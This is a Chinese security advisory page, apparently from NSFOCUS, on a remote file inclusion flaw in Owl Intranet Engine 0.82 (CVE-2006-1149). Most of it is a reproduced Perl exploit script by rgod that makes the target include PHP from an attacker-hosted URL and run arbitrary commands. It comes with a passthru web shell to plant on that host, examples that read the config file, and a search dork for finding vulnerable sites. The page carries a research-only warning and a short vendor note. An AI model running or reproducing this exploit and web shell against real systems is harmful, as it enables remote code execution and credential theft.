首页 -> 安全研究

安全研究

安全漏洞
Owl Intranet Engine远程文件包含漏洞

发布日期:2006-05-07
更新日期:2006-05-07

受影响系统:
Owl Owl Intranet Engine 0.82
描述:
BUGTRAQ  ID: 17021
CVE(CAN) ID: CVE-2006-1149

Owl Intranet Engine是一种用于多用户维护知识库的基于Web的软件。

Owl Intranet Engine处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。

Owl Intranet Engine的OWL_API.php脚本没有正确验证xrms_file_root参数的输入,允许攻击者通过包含本地或外部资源的任意文件导致执行任意PHP代码。

<*来源:rgod (rgod@autistici.org
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

rgod (rgod@autistici.org)提供了如下测试代码:


#!/usr/bin/perl
use IO::Socket;
print "WwwWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWwoLWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWw**wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWo&#65533;*&#65533;WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWwo&#65533; *&#65533;wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWW&#65533;  &#65533;&#65533;*&#65533;wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWwo&#65533;      &#65533;&#65533;*o&#65533;wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWw&#65533;*&#65533;        &#65533;*&#65533;wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWw&#65533;*&#65533;       &#65533;&#65533;WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWwwwLLwwwWWwo&#65533;      oWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWL*&#65533;              &#65533;*o&#65533;     &#65533;wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWW*     &#65533;*&#65533;wwwwww&#65533;*             WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWo     &#65533;Lwwwwwwwwwwww&#65533;           &#65533;WWWWWWwwwwwWWWWWWwwwwwwwwwwwwwWWWWWWWWWW\r\n";
print "WWWWWWWWWWW&#65533;     *wwwwwwwwwwwwwwww&#65533;          wWWWW*     *WWWWw             oWWWWWWWWW\r\n";
print "WWWWWWWWWWW&#65533;    &#65533;wwwww&#65533;   &#65533;*wwwwww          &#65533;WWWw       wWWW&#65533;      w      oWWWWWWWWW\r\n";
print "WWWWWWWWWWW     owwww*     &#65533;* owwww&#65533;          wWW*       &#65533;WWw      oW      oWWWWWWWWW\r\n";
print "WWWWWWWWWWW     &#65533;wwww       * &#65533;wwww           *Ww    o    wW*     *WW      oWWWWWWWWW\r\n";
print "WWWWWWWWWWWo     owww&#65533;        owww&#65533;     o      w*   &#65533;W&#65533;   &#65533;w      wWW      oWWWWWWWWW\r\n";
print "WWWWWWWWWWWW*     *wwwo&#65533;    &#65533;&#65533;www&#65533;     oWo     &#65533;    wWL    &#65533;     &#65533;WWW      *wwwwwwwww\r\n";
print "WWWWWWWWWWWWWL&#65533;     &#65533;&#65533;wwwwwwwwo&#65533;     *wWWW&#65533;        *WWW&#65533;        &#65533;WWWW\r\n";
print "WWWWWWWWWWWWWWWwo&#65533;      &#65533;&#65533;&#65533;      &#65533;*LWWWWWWW        wWWWL       &#65533;WWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWwwwwLLLwwwwWWWWWWWWWWWWo      *WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW&#65533;     wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWw    *WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWo   wWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW&#65533; *WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n";
print "WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWw&#65533;WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW\r\n\r\n";
print "  OWL Intranet Engine  0.82 \"xrms_file_root\" cmmnds xctn xploit\r\n";
print "     -> works with register_globals = On & allow_url_fopen = On    \r\n";
print "              by rgod rgod<AT>autistici<DOT>org                    \r\n";
print "             site: http://retrogod.altervista.org              \r\n\r\n";
print "Sun-Tzu: \"But a kingdom that has once been destroyed can never come\r\n";
print "again into being; nor can the dead ever be brought back to life\"\r\n\r\n";
print "\r\n dork: intitle:\"owl intranet * owl\" 0.82\r\n";
sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
}

$serv=$ARGV[0];
$path=$ARGV[1];
$loc=urlEncode($ARGV[2]);
$cmd=""; for ($i=3; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};

if (@ARGV < 4)
{
print "\r\nUsage:\r\n";
print "perl owl_082_xpl.pl SERVER PATH LOCATION COMMAND\r\n\r\n";
print "SERVER         - Server where OWL is installed.\r\n";
print "PATH           - Path to OWL (ex: /owl/ or just /) \r\n";
print "LOCATION       - a site with the code to include (without ending slash)\r\n";
print "COMMAND        - a Unix command\r\n\r\n";
print "Example:\r\n";
print "perl owl_xpl.pl localhost /owl/ http://192.168.1.3 ls -la\r\n";
print "perl owl_xpl.pl localhost /owl/ http://192.168.1.3 cat ./../config/owl.php\r\n\r\n";
print "note: on http location you need this code in /include-locations.inc/index.html :\r\n\r\n";

print "<?php\r\n";
print "if (get_magic_quotes_gpc())\r\n";
print "{\$_GET[\"cmd\"]=stripslashes(\$_GET[\"cmd\"]);}\r\n";
print "ini_set(\"max_execution_time\",0);\r\n";
print "passthru(\$_GET[\"cmd\"]);\r\n";
print "die;\r\n";
print "?>\r\n";
exit();
}
  $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.\n\n";
  print $sock "GET ".$path."lib/OWL_API.php?cmd=".$cmd."&xrms_file_root=".$loc." HTTP/1.1\r\n";
  print $sock "User-Agent: Y!TunnelPro\r\n";
  print $sock "Host: ".$serv."\r\n";
  print $sock "Connection: close\r\n\r\n";

  while ($answer = <$sock>) {
    print $answer;
  }
  close($sock);

# milw0rm.com [2006-03-07]

建议:
厂商补丁:

Owl
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://owl.sourceforge.net/

浏览次数:4077
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障